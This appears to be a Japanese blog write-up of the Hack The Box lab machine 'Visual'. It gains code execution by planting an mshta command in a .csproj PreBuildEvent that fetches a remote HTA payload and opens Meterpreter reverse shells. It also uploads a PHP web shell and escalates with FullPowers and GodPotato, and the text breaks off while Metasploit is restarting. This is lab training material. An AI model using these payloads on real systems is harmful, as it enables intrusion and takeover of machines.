初めに
どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Visual」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
初期探索
ポートスキャン
今回はRustScanで高速スキャンしてみた。
┌──(root㉿kali)-[~]
└─# rustscan -a 10.10.11.234 --top --ulimit 5000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.234:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-14 03:53 EDT
Initiating Ping Scan at 03:53
Scanning 10.10.11.234 [4 ports]
Completed Ping Scan at 03:53, 0.29s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 03:53
Completed Parallel DNS resolution of 1 host. at 03:53, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 03:53
Scanning 10.10.11.234 [1 port]
Discovered open port 80/tcp on 10.10.11.234
Completed SYN Stealth Scan at 03:53, 0.22s elapsed (1 total ports)
Nmap scan report for 10.10.11.234
Host is up, received echo-reply ttl 127 (0.22s latency).
Scanned at 2023-10-14 03:53:08 EDT for 0s
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.61 seconds
Raw packets sent: 5 (196B) | Rcvd: 2 (72B)
ポート80が公開されてそう。
実際に80にアクセスしてみると、以下のサイトが見える。
サイト検証
ぺージ下部のほうにURLをPOSTできるフォームを発見できる。
PythonでHTTPサーバを立てて自身のアドレスを打ち込んでみる。
何かBuildしているような表示が出てくる。RepoLinkのPOSTデータだったのでもしかしてレポジトリのビルドをしているのか？
gitの階層表示もでているのでおそらくそうであろう。
ページにも記載されているように.NET6のリポジトリをBuildしていそうなのでWindowsでリポジトリを作成する。
.NET6
Visual Studio 2022
まぁ記載されているようにVisual Studio 2022で作成していきます。
コンソールアプリで作成。
キチンと.NET6を選択します。
作成完了しました。
git
この階層をリポジトリとして外部に公開して、さっきのサイトと通信させます。
よくハマる設定のupdate-server-infoを設定しておきます。
んじゃ通信させます。
ん？あれ？.slnならあるぞ？？
あ、commit完全に忘れてました。
これで再度通信させます。
このプロジェクトをBuildして実行ファイルを作成するみたいだ！
このプロジェクトにPayloadを含めて攻撃するのではないかと考察できる。
初期侵入
ChatGPT
ビルドタイミングでのRCE何もわからんのでGPTさんに質問する。
これですね。
ただ実際に試してみるとうまくいきません...ビルド前に実施できるものを聞く。
PreBuild
Visual Stuido 2022で.NET6のプロジェクトを作成すると.csprojのプロジェクトファイルが作成されると思う。これによってプロジェクトに関する色々な設定を行うことが出来る。詳しくは以下を見ればある程度分かると思う。
この中にPreBuildEventというものがある。
このPreBuildEventを設定することでBuildを実行する前にコマンドを実行することが出来る。
ここにRevShell確立が出来るコマンドを叩き込む。
mshta
このプロジェクトファイルに打ち込むコマンドは以下のHackTrickのShellを参考にする。
mshtaのサーバーをMetasploitを利用して立ててリバースシェルを待ち受けることとする。打ち込むコマンドはこのような構成mshta http://webserver/payload.htaを取る。
┌──(root㉿kali)-[~/work]
└─# msfconsole
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% % %%%%%%%% %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%
%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%% %% %%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% %%%%%
%%%% %% %% % %% %% %%%%% % %%%% %% %%%%%% %%
%%%% %% %% % %%% %%%% %%%% %% %%%% %%%% %% %% %% %%% %% %%% %%%%%
%%%% %%%%%% %% %%%%%% %%%% %%% %%%% %% %% %%% %%% %% %% %%%%%
%%%%%%%%%%%% %%%% %%%%% %% %% % %% %%%% %%%% %%% %%% %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%% %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
=[ metasploit v6.3.31-dev ]
+ -- --=[ 2346 exploits - 1220 auxiliary - 413 post ]
+ -- --=[ 1390 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Display the Framework log using the
log command, learn more with help log
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search hta_server
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/misc/hta_server 2016-10-06 manual No HTA Web Server
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/misc/hta_server
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) > show options
Module options (exploit/windows/misc/hta_server):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.0.2.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Powershell x86
View the full module info with the info, or info -d command.
設定を投入する。
msf6 exploit(windows/misc/hta_server) > set LHOST 10.10.14.68
LHOST => 10.10.14.68
msf6 exploit(windows/misc/hta_server) > set SRVHOST 10.10.14.68
SRVHOST => 10.10.14.68
msf6 exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[-] Handler failed to bind to 10.10.14.68:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (10.10.14.68:8080).
msf6 exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.14.68:4444
[*] Using URL: http://10.10.14.68:8080/2E1MdaR84iCmK.hta
[*] Server started.
msf6 exploit(windows/misc/hta_server) >
この立てたのサーバーのアドレスをコマンドに渡す。
Payload
実際に作成した.csprojはこのようになる。
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net6.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<PreBuildEvent>
mshta.exe http://10.10.14.68:8080/2E1MdaR84iCmK.hta
</PreBuildEvent>
</PropertyGroup>
</Project>
何度か試したが、<Command>を設定しないで直で記載すると刺さった。
※何度も作成して大変だった。
このPayloadをKaliに移し、Kali上で接続を待ち受ける。
msf6 exploit(windows/misc/hta_server) >
[*] 10.10.11.234 hta_server - Delivering Payload
[*] Sending stage (175686 bytes) to 10.10.11.234
[*] Meterpreter session 1 opened (10.10.14.68:4444 -> 10.10.11.234:50537) at 2023-10-14 06:22:40 -0400
msf6 exploit(windows/misc/hta_server) > show sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows VISUAL\enox @ VISUAL 10.10.14.68:4444 -> 10.10.11.234:50537 (10.10.11.234)
msf6 exploit(windows/misc/hta_server) >
msf6 exploit(windows/misc/hta_server) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: VISUAL\enox
先ほどと同じようにURLを打ち込むと、htaサーバに接続が来る。
これでShellをゲットできた。UserフラグもこのShellでゲットできる。
横展開
winPeas
winPeasを以下サイトからダウンロードして対象マシンにuploadします。
meterpreter > upload winPEASany.exe
[*] Uploading : /root/work/winPEASany.exe -> winPEASany.exe
[*] Uploaded 2.28 MiB of 2.28 MiB (100.0%): /root/work/winPEASany.exe -> winPEASany.exe
[*] Completed : /root/work/winPEASany.exe -> winPEASany.exe
meterpreter >
shellモードに移行してwinPeasを実行します。
C:\Users\enox\Desktop>.\winPEASany.exe
.\winPEASany.exe
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
((((((((((((((((((((((((((((((((
(((((((((((((((((((((((((((((((((((((((((((
((((((((((((((**********/##########(((((((((((((
((((((((((((********************/#######(((((((((((
((((((((******************/@@@@@/****######((((((((((
((((((********************@@@@@@@@@@/***,####((((((((((
(((((********************/@@@@@%@@@@/********##(((((((((
(((############*********/%@@@@@@@@@/************((((((((
((##################(/******/@@@@@/***************((((((
((#########################(/**********************(((((
((##############################(/*****************(((((
((###################################(/************(((((
((#######################################(*********(((((
((#######(,.***.,(###################(..***.*******(((((
((#######*(#####((##################((######/(*****(((((
((###################(/***********(##############()(((((
(((#####################/*******(################)((((((
((((############################################)((((((
(((((##########################################)(((((((
((((((########################################)(((((((
((((((((####################################)((((((((
(((((((((#################################)(((((((((
((((((((((##########################)(((((((((
((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((
ADVISORY: winpeas should be used for authorized penetration testing and/or educational purposes only.Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own devices and/or with the device owner's permission.
WinPEAS-ng by @hacktricks_live
/---------------------------------------------------------------------------------\
| Do you like PEASS? |
|---------------------------------------------------------------------------------|
| Get the latest version : https://github.com/sponsors/carlospolop |
| Follow on Twitter : @hacktricks_live |
| Respect on HTB : SirBroccoli |
|---------------------------------------------------------------------------------|
| Thank you! |
\---------------------------------------------------------------------------------/
[+] Legend:
Red Indicates a special privilege over an object or something is misconfigured
Green Indicates that some protection is enabled or something is well configured
Cyan Indicates active users
Blue Indicates disabled users
LightYellow Indicates links
...省略
Searching executable files in non-default folders with write (equivalent) permissions (can be slow)
File Permissions "C:\xampp\php\phpunit.bat": Everyone [AllAccess]
File Permissions "C:\xampp\php\phpdbg.exe": Everyone [AllAccess]
File Permissions "C:\xampp\php\php.exe": Everyone [AllAccess]
File Permissions "C:\xampp\php\php-win.exe": Everyone [AllAccess]
File Permissions "C:\xampp\php\php-cgi.exe": Everyone [AllAccess]
File Permissions "C:\xampp\php\pecl.bat": Everyone [AllAccess]
File Permissions "C:\xampp\php\peardev.bat": Everyone [AllAccess]
File Permissions "C:\xampp\php\pear.bat": Everyone [AllAccess]
File Permissions "C:\xampp\php\pciconf.bat": Everyone [AllAccess]
File Permissions "C:\xampp\php\pci.bat": Everyone [AllAccess]
File Permissions "C:\xampp\php\deplister.exe": Everyone [AllAccess]
File Permissions "C:\xampp\php\windowsXamppPhp\deplister.exe": Everyone [AllAccess]
File Permissions "C:\xampp\php\windowsXamppPhp\php-cgi.exe": Everyone [AllAccess]
File Permissions "C:\xampp\php\windowsXamppPhp\php-win.exe": Everyone [AllAccess]
File Permissions "C:\xampp\php\windowsXamppPhp\php.exe": Everyone [AllAccess]
File Permissions "C:\xampp\php\windowsXamppPhp\phpdbg.exe": Everyone [AllAccess]
File Permissions "C:\xampp\php\scripts\pciconf.bat": Everyone [AllAccess]
File Permissions "C:\xampp\php\scripts\compatinfo.bat": Everyone [AllAccess]
File Permissions "C:\xampp\php\extras\openssl\openssl.exe": Everyone [AllAccess]
...省略
File Permissions "C:\xampp\xampp-control.exe": Everyone [AllAccess]
File Permissions "C:\xampp\xampp_start.exe": Everyone [AllAccess]
File Permissions "C:\xampp\xampp_stop.exe": Everyone [AllAccess]
File Permissions "C:\xampp\htdocs\uploads\9dedb189cacbbb848c2f38ce455f8c\Visual.exe": Everyone [AllAccess],enox [AllAccess]
File Permissions "C:\xampp\htdocs\uploads\FullPowers.exe": Everyone [AllAccess]
File Permissions "C:\xampp\htdocs\uploads\GodPotato-NET2.exe": Everyone [AllAccess]
File Permissions "C:\xampp\htdocs\uploads\GodPotato-NET35.exe": Everyone [AllAccess]
...省略
上記からC:\xampp\htdocsが大体アクセスできることが見える。ここにWebShellをUploadすることが出来ると考える。xamppを起動しているSPNのShellを奪取できるかもしれないのでUploadしてみる。
Webshell
PHPのwebshellを作成する。
taks_shell.php
<?php echo(system($_GET["cmd"])); ?>
このShellをアップロードします。
meterpreter > dir
Listing: C:\xampp\htdocs
========================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2023-06-10 13:32:32 -0400 assets
040777/rwxrwxrwx 0 dir 2023-06-10 13:32:32 -0400 css
100666/rw-rw-rw- 7534 fil 2023-06-10 21:20:46 -0400 index.php
040777/rwxrwxrwx 0 dir 2023-06-10 13:32:32 -0400 js
100666/rw-rw-rw- 1554 fil 2023-06-10 19:17:32 -0400 submit.php
040777/rwxrwxrwx 4096 dir 2023-10-14 06:42:52 -0400 uploads
100666/rw-rw-rw- 4970 fil 2023-06-10 19:11:46 -0400 vs_status.php
meterpreter >
meterpreter > upload taks_shell.php
[*] Uploading : /root/work/taks_shell.php -> taks_shell.php
[*] Uploaded 37.00 B of 37.00 B (100.0%): /root/work/taks_shell.php -> taks_shell.php
[*] Completed : /root/work/taks_shell.php -> taks_shell.php
機能するかコマンドを打ち込みます。
dirコマンドが通ったので、このWebShellは機能してそうです。
ここに先ほどと同様にmshtaのExploitを叩き込みます。
mshta
┌──(root㉿kali)-[~/work]
└─# msfconsole
# cowsay++
____________
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
=[ metasploit v6.3.31-dev ]
+ -- --=[ 2346 exploits - 1220 auxiliary - 413 post ]
+ -- --=[ 1390 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: View advanced module options with
advanced
Metasploit Documentation: https://docs.metasploit.com/
msf6 > use windows/misc/hta_server
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) > show options
Module options (exploit/windows/misc/hta_server):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.0.2.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Powershell x86
View the full module info with the info, or info -d command.
msf6 exploit(windows/misc/hta_server) > set LHOST 10.10.14.68
LHOST => 10.10.14.68
msf6 exploit(windows/misc/hta_server) > set LPORT 4440
LPORT => 4440
msf6 exploit(windows/misc/hta_server) > set SRVHOST 10.10.14.68
SRVHOST => 10.10.14.68
msf6 exploit(windows/misc/hta_server) > set SRVPORT 8081
SRVPORT => 8081
msf6 exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.14.68:4440
[*] Using URL: http://10.10.14.68:8081/rX7BasfkSWHWM.hta
[*] Server started.
msf6 exploit(windows/misc/hta_server) >
起動完了。mshta.exe http://10.10.14.68:8081/rX7BasfkSWHWM.htaを叩き込みます。
msf6 exploit(windows/misc/hta_server) >
[*] 10.10.11.234 hta_server - Delivering Payload
[*] Sending stage (175686 bytes) to 10.10.11.234
[*] Meterpreter session 1 opened (10.10.14.68:4440 -> 10.10.11.234:50618) at 2023-10-14 07:10:00 -0400
msf6 exploit(windows/misc/hta_server) > show sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows NT AUTHORITY\LOCAL SERVICE @ VISUAL 10.10.14.68:4440 -> 10.10.11.234:50618 (10.10.11.234)
msf6 exploit(windows/misc/hta_server) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: NT AUTHORITY\LOCAL SERVICE
meterpreter >
NT AUTHORITY\LOCAL SERVICEのシェルをゲットできた。
権限昇格
local_exploit_suggester
とりあえず無難にやってみる。
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > exploit
[*] 10.10.11.234 - Collecting local exploits for x64/windows...
[*] 10.10.11.234 - 186 exploit checks are being tried...
[+] 10.10.11.234 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 10.10.11.234 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 10.10.11.234 - exploit/windows/local/bypassuac_sluihijack: The target appears to be vulnerable.
[+] 10.10.11.234 - exploit/windows/local/cve_2020_1048_printerdemon: The target appears to be vulnerable.
[+] 10.10.11.234 - exploit/windows/local/cve_2020_1337_printerdemon: The target appears to be vulnerable.
[+] 10.10.11.234 - exploit/windows/local/cve_2022_21882_win32k: The target appears to be vulnerable.
[+] 10.10.11.234 - exploit/windows/local/cve_2022_21999_spoolfool_privesc: The target appears to be vulnerable.
[+] 10.10.11.234 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[*] Running check method for exploit 43 / 43
[*] 10.10.11.234 - Valid modules for session 1:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/windows/local/bypassuac_dotnet_profiler Yes The target appears to be vulnerable.
2 exploit/windows/local/bypassuac_sdclt Yes The target appears to be vulnerable.
3 exploit/windows/local/bypassuac_sluihijack Yes The target appears to be vulnerable.
4 exploit/windows/local/cve_2020_1048_printerdemon Yes The target appears to be vulnerable.
5 exploit/windows/local/cve_2020_1337_printerdemon Yes The target appears to be vulnerable.
6 exploit/windows/local/cve_2022_21882_win32k Yes The target appears to be vulnerable.
7 exploit/windows/local/cve_2022_21999_spoolfool_privesc Yes The target appears to be vulnerable.
8 exploit/windows/local/ms16_032_secondary_logon_handle_privesc Yes The service is running, but could not be validated.
9 exploit/windows/local/agnitum_outpost_acs No The target is not exploitable.
10 exploit/windows/local/always_install_elevated No The target is not exploitable.
11 exploit/windows/local/bits_ntlm_token_impersonation No The target is not exploitable.
12 exploit/windows/local/bypassuac_eventvwr No The target is not exploitable.
13 exploit/windows/local/bypassuac_fodhelper No The target is not exploitable.
14 exploit/windows/local/canon_driver_privesc No The target is not exploitable. No Canon TR150 driver directory found
15 exploit/windows/local/capcom_sys_exec No Cannot reliably check exploitability.
16 exploit/windows/local/cve_2019_1458_wizardopium No The target is not exploitable.
17 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move No The check raised an exception.
18 exploit/windows/local/cve_2020_0796_smbghost No The target is not exploitable.
19 exploit/windows/local/cve_2020_1054_drawiconex_lpe No The target is not exploitable. No target for win32k.sys version 10.0.17763.4840
20 exploit/windows/local/cve_2020_1313_system_orchestrator No The target is not exploitable.
21 exploit/windows/local/cve_2020_17136 No The check raised an exception.
22 exploit/windows/local/cve_2021_21551_dbutil_memmove No The target is not exploitable.
23 exploit/windows/local/cve_2021_40449 No The check raised an exception.
24 exploit/windows/local/cve_2022_3699_lenovo_diagnostics_driver No The target is not exploitable.
25 exploit/windows/local/cve_2023_21768_afd_lpe No The target is not exploitable. The exploit only supports Windows 11 22H2
26 exploit/windows/local/gog_galaxyclientservice_privesc No The target is not exploitable. Galaxy Client Service not found
27 exploit/windows/local/ikeext_service No The check raised an exception.
28 exploit/windows/local/lexmark_driver_privesc No The target is not exploitable. No Lexmark print drivers in the driver store
29 exploit/windows/local/ms10_092_schelevator No The target is not exploitable. Windows 2016+ (10.0 Build 17763). is not vulnerable
30 exploit/windows/local/ms14_058_track_popup_menu No Cannot reliably check exploitability.
31 exploit/windows/local/ms15_051_client_copy_image No The target is not exploitable.
32 exploit/windows/local/ms15_078_atmfd_bof No Cannot reliably check exploitability.
33 exploit/windows/local/ms16_014_wmi_recv_notif No The target is not exploitable.
34 exploit/windows/local/ms16_075_reflection No The target is not exploitable.
35 exploit/windows/local/ms16_075_reflection_juicy No The target is not exploitable.
36 exploit/windows/local/ntapphelpcachecontrol No The check raised an exception.
37 exploit/windows/local/nvidia_nvsvc No The check raised an exception.
38 exploit/windows/local/panda_psevents No The target is not exploitable.
39 exploit/windows/local/ricoh_driver_privesc No The target is not exploitable. No Ricoh driver directory found
40 exploit/windows/local/srclient_dll_hijacking No The target is not exploitable. Target is not Windows Server 2012.
41 exploit/windows/local/tokenmagic No The target is not exploitable.
42 exploit/windows/local/virtual_box_opengl_escape No The target is not exploitable.
43 exploit/windows/local/webexec No The check raised an exception.
[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggester) >
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > show options
Module options (exploit/windows/local/ms16_032_secondary_logon_handle_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.0.2.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
View the full module info with the info, or info -d command.
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set LHOST 10.10.14.68
LHOST => 10.10.14.68
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set LPORT 4443
LPORT => 4443
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set session 1
session => 1
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > run
[*] Started reverse TCP handler on 10.10.14.68:4443
[+] Compressed size: 1160
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Windows\SERVIC~1\LOCALS~1\AppData\Local\Temp\udUCTAa.ps1...
[*] Compressing script contents...
[+] Compressed size: 3743
[*] Executing exploit script...
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[!] No valid thread handle was captured, exiting!
[+] Executed on target machine.
[+] Deleted C:\Windows\SERVIC~1\LOCALS~1\AppData\Local\Temp\udUCTAa.ps1
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/bypassuac_dotnet_profiler) > use exploit/windows/local/cve_2022_21882_win32k
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2022_21882_win32k) > show options
Module options (exploit/windows/local/cve_2022_21882_win32k):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.14.68 yes The listen address (an interface may be specified)
LPORT 4443 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 10 v1803-21H2 x64
View the full module info with the info, or info -d command.
msf6 exploit(windows/local/cve_2022_21882_win32k) > run
[*] Started reverse TCP handler on 10.10.14.68:4443
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Launching netsh to host the DLL...
[+] Process 2796 launched.
[*] Reflectively injecting the DLL into 2796...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/cve_2022_21882_win32k) >
まぁ色々試してみたり、psをマイグレしたりしてみたがうまくいかなかった。
FullPowers
このシェルの権限を調べてみる。
C:\xampp\htdocs>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
NT AUTHORITY\LOCAL SERVICEのユーザにしては権限が少ないように見える。
この状況を調べてみると、以下の記事を見つけられます。
この状況を打破できるツールのFullPowersを利用します。
C:\xampp\htdocs\uploads>.\FullPowers.exe
.\FullPowers.exe
[+] Started dummy thread with id 2052
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
C:\Windows\system32>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
C:\Windows\system32>
偽装できる権限が戻ってきています！SeImpersonatePrivilege、SeAssignPrimaryTokenPrivilegeがあるのでPottatoシリーズを活用できそうですね！！
GodPotato
以下からGodPotatoを落とした後にUploadします。
meterpreter > upload GodPotato-NET4.exe
[*] Uploading : /root/work/GodPotato-NET4.exe -> GodPotato-NET4.exe
[*] Uploaded 56.00 KiB of 56.00 KiB (100.0%): /root/work/GodPotato-NET4.exe -> GodPotato-NET4.exe
[*] Completed : /root/work/GodPotato-NET4.exe -> GodPotato-NET4.exe
meterpreter >
GodPottatoで実行するコマンドは今までと同様のmshtaを利用します。
そのためにまたMetasploitでhta-serverを起動します。
┌──(root㉿kali)-[~]
└─# msfconsole
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% % %%%%%%%% %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%
%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%% %% %%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% %%%%%
%%%% %% %% % %% %% %%%%% % %%%% %% %%%%%% %%
%%%% %% %% % %%% %%%% %%%% %% %%%% %%%% %% %% %% %%% %% %%% %%%%%
%%%% %%%%%% %% %%%%%% %%%% %%% %%%% %% %% %%% %%% %% %% %%%%%
%%%%%%%%%%%% %%%% %%%%% %% %% % %% %%%% %%%% %%% %%% %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%% %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%
